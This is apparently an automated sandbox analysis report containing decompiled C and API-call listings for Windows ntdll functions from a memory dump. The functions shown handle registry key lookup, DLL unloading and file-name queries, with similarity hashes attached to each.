0x6c06219b
0x6c06219c
0x6c06219d
0x6c06219e
0x6c0621a4
0x6c0621a5
0x6c0621ae
0x6c0621b2
0x6c0621d0
0x00000000
0x00000000
0x6c0621d6
0x6c0621d6
0x6c0621d9
0x6c0621d9
0x6c0621dc
0x6c0621e2
0x6c062280
0x6c062280
0x6c062285
0x6c062287
0x6c062287
0x6c06228b
0x6c062292
0x6c062297
0x00000000
0x6c06228b
0x6c0621f3
0x6c0621f6
0x6c0621f8
0x6c0621fb
0x6c062201
0x6c062212
0x6c062203
0x6c062207
0x6c06220c
0x6c06220c
0x6c062201
0x6c062219
0x00000000
0x6c062221
0x6c062221
0x6c062223
0x6c062223
0x6c062226
0x6c062226
0x6c062229
0x6c06222c
0x6c062240
0x6c06224c
0x6c062255
0x6c06225f
0x6c062264
0x6c06226c
0x6c06226c
0x6c062270
0x6c062276
0x6c062276
0x6c062270
0x00000000
0x6c062255
0x6c062219
0x6c0621b8
0x00000000
0x6c0621c0
0x6c0621c0
0x00000000
0x6c0621c0
0x6c0621b8
0x6c06218d
0x00000000
0x6c06216b
0x6c06216b
0x6c06229a
0x6c06229a
0x00000000
0x6c06229a
0x6c062169
0x6c006fd2
0x6c006fd2
0x6c006fd7
0x00000000
0x6c006fdd
0x6c006fdd
0x6c006fdf
0x6c006fdf
0x6c006fe2
0x6c006fe2
0x6c006fe5
0x6c006feb
0x00000000
0x6c006fed
0x6c006ff1
0x6c006ff4
0x6c006ff7
0x6c006ffd
0x6c00704e
0x6c006fff
0x6c007002
0x6c007005
0x6c007007
0x6c00700f
0x6c007011
0x6c007011
0x6c007016
0x6c00701d
0x6c007022
0x6c007016
0x00000000
0x6c006ffd
0x6c006feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6C006FBF

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6C00701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6C0620F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6C06212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6C06215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6C062182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6C0622A5

Strings

@, xrefs: 6C06211F
TargetPath, xrefs: 6C062151, 6C062156

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: 9c7c598b20b2d4a798b118888ea09829f463046af99f1117bbd47e8a3ce9c4a5
Instruction ID: 064b8e9b168fa2108077f2390c5dded6f2c66458d769fe8a918ee6f6128c0429
Opcode Fuzzy Hash: 9c7c598b20b2d4a798b118888ea09829f463046af99f1117bbd47e8a3ce9c4a5
Instruction Fuzzy Hash: 8C81D171909316EFD710CF1AC888B9BB7F8BB84708F05862DEA5497A10D335DD45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C00F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6C00F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6c0fd360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6C010225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6c0f8472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6c0fb210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6C01EEF0(0x6c0f52d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6C018B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6c0fb1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6C018800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6C08EA20(_t93);
							}
						}
						__eflags =  *0x6c0f5780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6C085510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6C010100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6C01EB70(_t93, 0x6c0f52d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6C022280(_t65, 0x6c0f84d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6C01093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6C01FFB0(_t92, _t110, 0x6c0f84d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6C00F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6c0f7b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6C04B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6C022280(_t65, 0x6c0f84d8);
						E6C01008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6C00F900(0x6c0f85fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6C00F900(0x6c0f85f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6C01FFB0(_t91, _t113, 0x6c0f84d8);
						if( *0x6c0f7b94 != 0) {
							E6C040413(_t113);
						}
						_t65 = E6C01EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6c00f51d
0x6c00f51d
0x6c00f525
0x6c00f52f
0x6c00f53b
0x6c00f53d
0x6c00f541
0x6c00f543
0x6c00f547
0x6c00f54c
0x6c00f55a
0x6c00f55a
0x6c00f55e
0x6c00f563
0x6c00f569
0x6c00f718
0x6c00f720
0x6c00f72b
0x6c00f72c
0x6c00f72e
0x6c00f730
0x6c00f730
0x6c00f574
0x6c00f579
0x6c00f57b
0x6c00f57b
0x6c00f581
0x00000000
0x00000000
0x6c00f61f
0x6c00f61f
0x6c00f622
0x6c00f626
0x6c00f628
0x6c00f62b
0x6c00f62e
0x6c00f633
0x6c00f635
0x6c00f73a
0x6c00f740
0x6c00f740
0x6c00f63d
0x6c00f63f
0x6c00f644
0x6c00f648
0x6c00f64f
0x6c065d11
0x6c065d13
0x6c065d13
0x6c00f64f
0x6c00f655
0x6c00f65c
0x6c065d1d
0x6c065d37
0x6c065d3c
0x6c065d3c
0x6c00f662
0x6c00f664
0x6c00f667
0x6c00f670
0x6c00f670
0x6c00f58c
0x6c00f591
0x6c00f591
0x6c00f591
0x6c00f596
0x00000000
0x00000000
0x6c00f677
0x6c00f679
0x6c00f67b
0x6c00f706
0x6c00f708
0x6c00f681
0x6c00f681
0x6c00f681
0x6c00f681
0x6c00f681
0x6c00f685
0x6c00f687
0x00000000
0x6c00f68d
0x6c00f692
0x6c00f697
0x6c00f69a
0x6c00f69a
0x6c00f69d
0x6c00f6a0
0x6c00f6a2
0x6c00f6a6
0x6c00f6a8
0x6c00f6f2
0x6c00f6f6
0x6c00f6f6
0x6c00f6f8
0x6c00f6fa
0x6c00f6fc
0x6c00f6fc
0x6c00f700
0x6c00f700
0x6c00f6ac
0x6c00f6ae
0x6c00f6b1
0x6c00f6b9
0x6c00f6bb
0x6c00f6bb
0x6c00f6bd
0x6c00f6bd
0x6c00f6c4
0x6c00f6c6
0x6c00f6c9
0x6c00f6d3
0x6c00f6d8
0x6c00f6dd
0x6c00f711
0x6c00f711
0x6c00f6e8
0x00000000
0x6c00f6e8
0x6c00f687
0x6c00f59c
0x6c00f59e
0x6c00f5a7
0x6c00f60d
0x6c00f611
0x6c00f612
0x6c00f613
0x6c00f61e
0x00000000
0x00000000
0x00000000
0x6c00f5a9
0x6c00f5a9
0x6c00f5a9
0x6c00f5ab
0x6c00f5b3
0x6c00f5b7
0x6c00f5be
0x6c00f5c7
0x6c00f5c9
0x6c00f5d2
0x6c00f5d7
0x6c00f5e0
0x6c00f5e5
0x6c00f5e5
0x6c00f5ee
0x6c00f5fa
0x6c065d46
0x6c065d46
0x6c00f602
0x6c00f607
0x6c00f609
0x00000000
0x6c00f5a9
0x6c00f552
0x00000000
0x00000000
0x6c00f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6C0F52D8), ref: 6C00F574
RtlLeaveCriticalSection.1105(6C0F52D8,?,00000000,6C0F52D8), ref: 6C00F58C
RtlAcquireSRWLockExclusive.1105 ref: 6C00F5B7
RtlRbRemoveNode.1105(6C0F85FC,-0000008C), ref: 6C00F5D2
RtlRbRemoveNode.1105(6C0F85F4,-00000098,6C0F85FC,-0000008C), ref: 6C00F5E0
RtlReleaseSRWLockExclusive.1105(6C0F84D8), ref: 6C00F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6C0F52D8), ref: 6C00F667
RtlAcquireSRWLockExclusive.1105(6C0F84D8,6C0F52D8,?,00000000,6C0F52D8), ref: 6C00F692
RtlReleaseSRWLockExclusive.1105(6C0F84D8,?,6C0F84D8,6C0F52D8,?,00000000,6C0F52D8), ref: 6C00F6D3
RtlFreeHeap.1105(00000000,-00000054,6C0F84D8,?,6C0F84D8,6C0F52D8), ref: 6C00F6E8
RtlDebugPrintTimes.1105(-00000054,?,6C0F52D8), ref: 6C00F73A

Strings

LdrpUnloadNode, xrefs: 6C065D28
minkernel\ntdll\ldrsnap.c, xrefs: 6C065D32
Unmapping DLL "%wZ", xrefs: 6C065D21

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: a218e96c22f5334ee2f4385eeb80775b61fc80b300203cb1b3a1f00e62ddf6d8
Instruction ID: 2f2f031a7d61a47e28b1f53b324ca2de548f2042bf01dde2502e29742fc0ea15
Opcode Fuzzy Hash: a218e96c22f5334ee2f4385eeb80775b61fc80b300203cb1b3a1f00e62ddf6d8
Instruction Fuzzy Hash: 565124313087019BE714DF69C884B5AB3E9BB8531CF150B1DE5A587FA1DB30B849DB86

Uniqueness

Uniqueness Score: -1.00%

Function 6C0052A5, Relevance: 24.2, APIs: 16, Instructions: 161
nativememoryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6C0052A5(char __ecx) {
				char _v20;
				void* _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v60;
				void* __ebx;
				void* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				void* _t102;
				void* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L6C01EEF0(0x6c0f79a0);
					_t104 =  *0x6c0f8210;
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E6C01EB70(_t93, 0x6c0f79a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E6C049890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L6C01EEF0(0x6c0f79a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E6C01EB70(0, 0x6c0f79a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t93 = _t104 + 0xc;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E6C03F0BF(_t104 + 0xc,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L6C01EEF0(0x6c0f79a0);
									__eflags =  *0x6c0f8210 - _t104;
									if( *0x6c0f8210 == _t104) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x6c0f8210 = _t102;
										 *_t95 =  *((intOrPtr*)(_t102 + 0xc));
										 *((intOrPtr*)(_t95 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
										 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t102 + 4));
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E6C084888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E6C01EB70(_t95, 0x6c0f79a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6C0495D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6C0495D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E6C01EB70(_t93, 0x6c0f79a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E6C0495D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
										_t102 = _v40;
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t102 + 4)));
										E6C0495D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E6C03F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x6c0052a5
0x6c0052ad
0x6c0052b0
0x6c0052b3
0x6c0052b7
0x6c0052ba
0x6c0052bf
0x6c0052c4
0x6c0052cc
0x00000000
0x00000000
0x6c0052ce
0x6c0052d9
0x6c0052dd
0x6c0052e7
0x6c0052f7
0x6c0052f9
0x6c0052fd
0x6c060dcf
0x6c060dd5
0x6c060dd6
0x6c060dd7
0x6c060dd8
0x6c060dd9
0x6c060dde
0x6c060ddf
0x6c060de0
0x6c060de1
0x6c060de2
0x6c060de5
0x6c060dea
0x6c060dec
0x6c060f60
0x6c060f64
0x6c060f70
0x6c060f76
0x6c060f79
0x6c060f79
0x00000000
0x6c060f64
0x6c060df2
0x6c060df7
0x6c060e04
0x6c060e0d
0x6c060e10
0x6c060e1a
0x6c060e1c
0x6c060e4c
0x6c060e52
0x6c060e61
0x6c060e67
0x6c060e6b
0x6c060e70
0x6c060e76
0x6c060ed7
0x6c060edc
0x6c060ee0
0x6c060eea
0x6c060ef0
0x6c060ef6
0x6c060ef9
0x6c060efe
0x6c060f01
0x6c060f01
0x6c060f0b
0x6c060f12
0x6c060f16
0x6c060f18
0x6c060f1b
0x6c060f2c
0x6c060f31
0x6c060f31
0x6c060f35
0x6c060f39
0x6c060f3a
0x6c060f3c
0x6c060f3f
0x6c060f50
0x6c060f55
0x6c060f55
0x6c060f59
0x6c0052eb
0x6c0052f1
0x6c0052f1
0x6c060e7d
0x6c060e84
0x6c060e88
0x6c060e8a
0x6c060e8d
0x6c060e9e
0x6c060ea3
0x6c060ea3
0x6c060ea7
0x6c060eaf
0x6c060eb3
0x6c060eb9
0x6c060ebc
0x6c060ecd
0x6c060ecd
0x00000000
0x6c060eb3
0x6c060e21
0x6c060e2b
0x6c060e2f
0x6c060e30
0x6c060e3a
0x6c060e3f
0x6c060e41
0x00000000
0x00000000
0x6c060e47
0x00000000
0x6c060e47
0x6c060df9
0x6c060dfe
0x00000000
0x00000000
0x00000000
0x6c060dfe
0x6c005303
0x6c005307
0x00000000
0x6c005309
0x00000000
0x6c005309
0x6c005307
0x6c0052e9
0x6c0052e9
0x00000000
0x6c0052e9
0x6c00530e
0x00000000

APIs

RtlEnterCriticalSection.1105(6C0F79A0,?,00000000,?), ref: 6C0052BF
RtlLeaveCriticalSection.1105(6C0F79A0,6C0F79A0,?,00000000,?), ref: 6C0052DD
ZwFsControlFile.1105(?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0,?,00000000,?), ref: 6C060DE5
RtlEnterCriticalSection.1105(6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0,?,00000000), ref: 6C060E6B
RtlLeaveCriticalSection.1105(6C0F79A0,6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0,?), ref: 6C060E7D
ZwClose.1105(?,6C0F79A0,6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0), ref: 6C060E8D
RtlFreeHeap.1105(?,00000000,?,?,6C0F79A0,6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6C060E9E
ZwClose.1105(?,6C0F79A0,6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0), ref: 6C060EBC
RtlFreeHeap.1105(?,00000000,6C0F79A0,?,6C0F79A0,6C0F79A0,6C0F79A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6C060ECD

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseEnterFreeHeapLeave$ControlFile
String ID:
API String ID: 1928194833-0
Opcode ID: dcbd57490fd4b0d422b3ef85052b2e8e935fed6c7568493a684b07863820fa4b
Instruction ID: 9f657fcf8c3f34f105f66fe33eeacfdb427753374f79f41f6253e05b521f828c
Opcode Fuzzy Hash: dcbd57490fd4b0d422b3ef85052b2e8e935fed6c7568493a684b07863820fa4b
Instruction Fuzzy Hash: 2051FF702497429BE310CF69C944B5BBBE8FF41318F144A2EE5A587E90E774F848CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C095F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6C095F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6C049830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6C049850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6C0495D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6C0495D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6C0165BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6c095f6a
0x6c095f73
0x6c095f75
0x6c095f7c
0x6c096137
0x00000000
0x6c095f93
0x6c095f97
0x6c095fd9
0x6c095fde
0x6c095fde
0x6c095fe7
0x6c095fec
0x6c095ff1
0x6c095ff6
0x6c095ffe
0x6c096000
0x6c096005
0x6c09600d
0x6c09600e
0x6c096017
0x6c09601f
0x6c096020
0x6c096025
0x6c096029
0x6c096066
0x6c096068
0x6c096084
0x6c096088
0x6c09609d
0x6c0960a8
0x6c0960a9
0x6c0960aa
0x6c0960ac
0x6c0960ae
0x6c0960af
0x6c0960b4
0x6c0960b5
0x6c0960b6
0x6c0960b7
0x6c0960b8
0x6c0960c1
0x6c0960c5
0x6c0960c7
0x6c0960cf
0x6c0960e5
0x6c0960e9
0x6c0960f5
0x6c0960fa
0x6c096109
0x6c096110
0x6c0960eb
0x6c0960eb
0x6c0960eb
0x6c0960e9
0x6c0960cf
0x6c09611e
0x6c09608a
0x6c09608a
0x6c09608a
0x6c096088
0x6c096123
0x6c096128
0x6c09612a
0x6c09612e
0x6c09612e
0x6c096133
0x6c09613c
0x6c096142
0x6c096142
0x6c09602b
0x6c096031
0x6c096036
0x6c09603a
0x6c09603c
0x6c09603f
0x6c096050
0x6c096050
0x6c09603a
0x6c096061
0x00000000
0x6c096061
0x6c095f9f
0x6c095fa0
0x6c095fa5
0x6c095fa8
0x6c095fae
0x6c095fb2
0x00000000
0x6c095fb8
0x6c095fb8
0x6c095fbc
0x6c095fc3
0x6c095fc5
0x6c095fcd
0x6c095fcd
0x00000000
0x6c095fc3
0x6c095fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6C095FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6C096020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6C09603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6C096050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6C096061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6C09607F
